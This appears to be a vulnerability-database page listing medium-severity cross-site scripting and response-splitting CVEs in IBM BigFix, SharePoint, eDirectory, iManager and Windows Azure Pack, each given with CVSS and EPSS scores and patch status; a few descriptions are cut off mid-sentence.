IBM BigFix Platform 9.2.0 through 9.2.14 and 9.5 through 9.5.9 is vulnerable to HTTP response splitting attacks, caused by improper validation of user-supplied input. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS IBM Bigfix Platform
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server, aka "Microsoft Office. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Microsoft XSS Sharepoint Enterprise Server
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross site scripting vulnerability in eDirectory prior to 9.1 SP2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Edirectory
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross site scripting vulnerability in iManager prior to 3.1 SP2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Imanager
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

A Cross-site Scripting (XSS) vulnerability exists when Windows Azure Pack does not properly sanitize user-provided input, aka "Windows Azure Pack Cross Site Scripting Vulnerability." This affects. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

Microsoft XSS Windows Azure Pack Rollup
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39320

Related CWEs

MITRE ATT&CK

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